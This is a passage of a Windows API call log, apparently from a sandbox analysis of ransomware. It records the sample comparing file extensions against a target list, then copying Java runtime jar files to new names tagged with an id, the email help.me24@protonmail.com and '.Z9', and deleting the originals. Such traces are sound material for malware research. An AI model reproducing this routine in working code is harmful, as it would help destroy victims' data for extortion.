	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".jpg") returned 4
	[0190.255] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".doc") returned 4
	[0190.255] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".docx") returned 5
	[0190.255] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0190.255] lstrlenW (lpString=".pdf") returned 4
	[0190.255] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".xls") returned 4
	[0190.255] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".xlsx") returned 5
	[0190.255] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0190.255] lstrlenW (lpString=".ppt") returned 4
	[0190.255] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".zip") returned 4
	[0190.255] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0190.256] lstrlenW (lpString=".rar") returned 4
	[0190.256] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0190.256] lstrlenW (lpString=".bz2") returned 4
	[0190.256] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0190.256] lstrlenW (lpString=".7z") returned 3
	[0190.256] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0190.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.256] lstrlenW (lpString=".dbf") returned 4
	[0190.256] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0190.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.256] lstrlenW (lpString=".1cd") returned 4
	[0190.256] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0190.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.256] lstrlenW (lpString=".jpg") returned 4
	[0190.256] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0190.256] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0190.256] lstrlenW (lpString="sunec.jar") returned 9
	[0190.256] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0190.256] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=42185) returned 1
	[0190.256] CloseHandle (hObject=0x33c) returned 1
	[0190.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20
	[0190.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0190.257] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.257] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0190.257] GetLastError () returned 0x0
	[0190.257] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0190.258] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0190.261] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.261] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0190.261] SetEndOfFile (hFile=0x35c) returned 1
	[0190.262] CloseHandle (hObject=0x35c) returned 1
	[0190.262] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.262] SetEndOfFile (hFile=0x33c) returned 1
	[0190.263] CloseHandle (hObject=0x33c) returned 1
	[0190.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0190.263] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0190.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.264] lstrlenW (lpString=".doc") returned 4
	[0190.264] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0190.264] lstrlenW (lpString=".docx") returned 5
	[0190.264] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0190.264] lstrlenW (lpString=".pdf") returned 4
	[0190.264] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0190.264] lstrlenW (lpString=".xls") returned 4
	[0190.264] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0190.264] lstrlenW (lpString=".xlsx") returned 5
	[0190.264] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0190.264] lstrlenW (lpString=".ppt") returned 4
	[0190.264] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0190.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.264] lstrlenW (lpString=".zip") returned 4
	[0190.264] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0190.264] lstrlenW (lpString=".rar") returned 4
	[0190.264] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0190.264] lstrlenW (lpString=".bz2") returned 4
	[0190.264] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0190.264] lstrlenW (lpString=".7z") returned 3
	[0190.264] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0190.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.264] lstrlenW (lpString=".dbf") returned 4
	[0190.264] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString=".1cd") returned 4
	[0190.265] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString=".jpg") returned 4
	[0190.265] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString=".doc") returned 4
	[0190.265] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0190.265] lstrlenW (lpString=".docx") returned 5
	[0190.265] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0190.265] lstrlenW (lpString=".pdf") returned 4
	[0190.265] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString=".xls") returned 4
	[0190.265] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString=".xlsx") returned 5
	[0190.265] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0190.265] lstrlenW (lpString=".ppt") returned 4
	[0190.265] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString=".zip") returned 4
	[0190.265] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString=".rar") returned 4
	[0190.265] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0190.265] lstrlenW (lpString=".bz2") returned 4
	[0190.265] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0190.265] lstrlenW (lpString=".7z") returned 3
	[0190.265] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.265] lstrlenW (lpString=".dbf") returned 4
	[0190.265] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0190.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.266] lstrlenW (lpString=".1cd") returned 4
	[0190.266] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0190.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0190.266] lstrlenW (lpString=".jpg") returned 4
	[0190.266] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0190.266] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0190.266] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0190.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0190.266] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=280161) returned 1
	[0190.266] CloseHandle (hObject=0x33c) returned 1
	[0190.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20
	[0190.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0190.267] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.267] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0190.267] GetLastError () returned 0x0
	[0190.267] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x44661, lpOverlapped=0x0) returned 1
	[0190.271] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x44670, lpOverlapped=0x0) returned 1
	[0190.935] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.935] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0190.936] SetEndOfFile (hFile=0x35c) returned 1
	[0191.582] CloseHandle (hObject=0x35c) returned 1
	[0191.782] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.782] SetEndOfFile (hFile=0x33c) returned 1
	[0192.216] CloseHandle (hObject=0x33c) returned 1
	[0192.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0192.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0193.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.382] lstrlenW (lpString=".doc") returned 4
	[0193.382] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.382] lstrlenW (lpString=".docx") returned 5
	[0193.382] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0193.382] lstrlenW (lpString=".pdf") returned 4
	[0193.382] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.382] lstrlenW (lpString=".xls") returned 4
	[0193.382] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.382] lstrlenW (lpString=".xlsx") returned 5
	[0193.382] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0193.382] lstrlenW (lpString=".ppt") returned 4
	[0193.382] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.382] lstrlenW (lpString=".zip") returned 4
	[0193.382] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.382] lstrlenW (lpString=".rar") returned 4
	[0193.382] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.382] lstrlenW (lpString=".bz2") returned 4
	[0193.382] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.382] lstrlenW (lpString=".7z") returned 3
	[0193.382] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.382] lstrlenW (lpString=".dbf") returned 4
	[0193.382] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".1cd") returned 4
	[0193.383] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".jpg") returned 4
	[0193.383] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".doc") returned 4
	[0193.383] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString=".docx") returned 5
	[0193.383] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0193.383] lstrlenW (lpString=".pdf") returned 4
	[0193.383] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString=".xls") returned 4
	[0193.383] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString=".xlsx") returned 5
	[0193.383] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0193.383] lstrlenW (lpString=".ppt") returned 4
	[0193.383] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".zip") returned 4
	[0193.383] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString=".rar") returned 4
	[0193.383] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.383] lstrlenW (lpString=".bz2") returned 4
	[0193.383] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString=".7z") returned 3
	[0193.383] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".dbf") returned 4
	[0193.383] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.383] lstrlenW (lpString=".1cd") returned 4
	[0193.383] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0193.384] lstrlenW (lpString=".jpg") returned 4
	[0193.384] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.384] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0193.384] lstrlenW (lpString="jfr.jar") returned 7
	[0193.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.384] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=560581) returned 1
	[0193.384] CloseHandle (hObject=0x354) returned 1
	[0193.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20
	[0193.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.384] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.384] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0193.385] GetLastError () returned 0x0
	[0193.385] ReadFile (in: hFile=0x354, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x88dc5, lpOverlapped=0x0) returned 1
	[0193.396] WriteFile (in: hFile=0x390, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x88dd0, lpOverlapped=0x0) returned 1
	[0193.406] ReadFile (in: hFile=0x354, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.406] WriteFile (in: hFile=0x390, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0193.406] SetEndOfFile (hFile=0x390) returned 1
	[0193.406] CloseHandle (hObject=0x390) returned 1
	[0193.406] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.406] SetEndOfFile (hFile=0x354) returned 1
	[0193.412] CloseHandle (hObject=0x354) returned 1
	[0193.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.412] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1
	[0193.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".doc") returned 4
	[0193.413] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.413] lstrlenW (lpString=".docx") returned 5
	[0193.413] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0193.413] lstrlenW (lpString=".pdf") returned 4
	[0193.413] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString=".xls") returned 4
	[0193.413] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString=".xlsx") returned 5
	[0193.413] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0193.413] lstrlenW (lpString=".ppt") returned 4
	[0193.413] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".zip") returned 4
	[0193.413] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString=".rar") returned 4
	[0193.413] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString=".bz2") returned 4
	[0193.413] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.413] lstrlenW (lpString=".7z") returned 3
	[0193.413] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".dbf") returned 4
	[0193.413] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".1cd") returned 4
	[0193.413] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".jpg") returned 4
	[0193.413] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.413] lstrlenW (lpString=".doc") returned 4
	[0193.413] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0193.413] lstrlenW (lpString=".docx") returned 5
	[0193.414] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0193.414] lstrlenW (lpString=".pdf") returned 4
	[0193.414] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0193.414] lstrlenW (lpString=".xls") returned 4
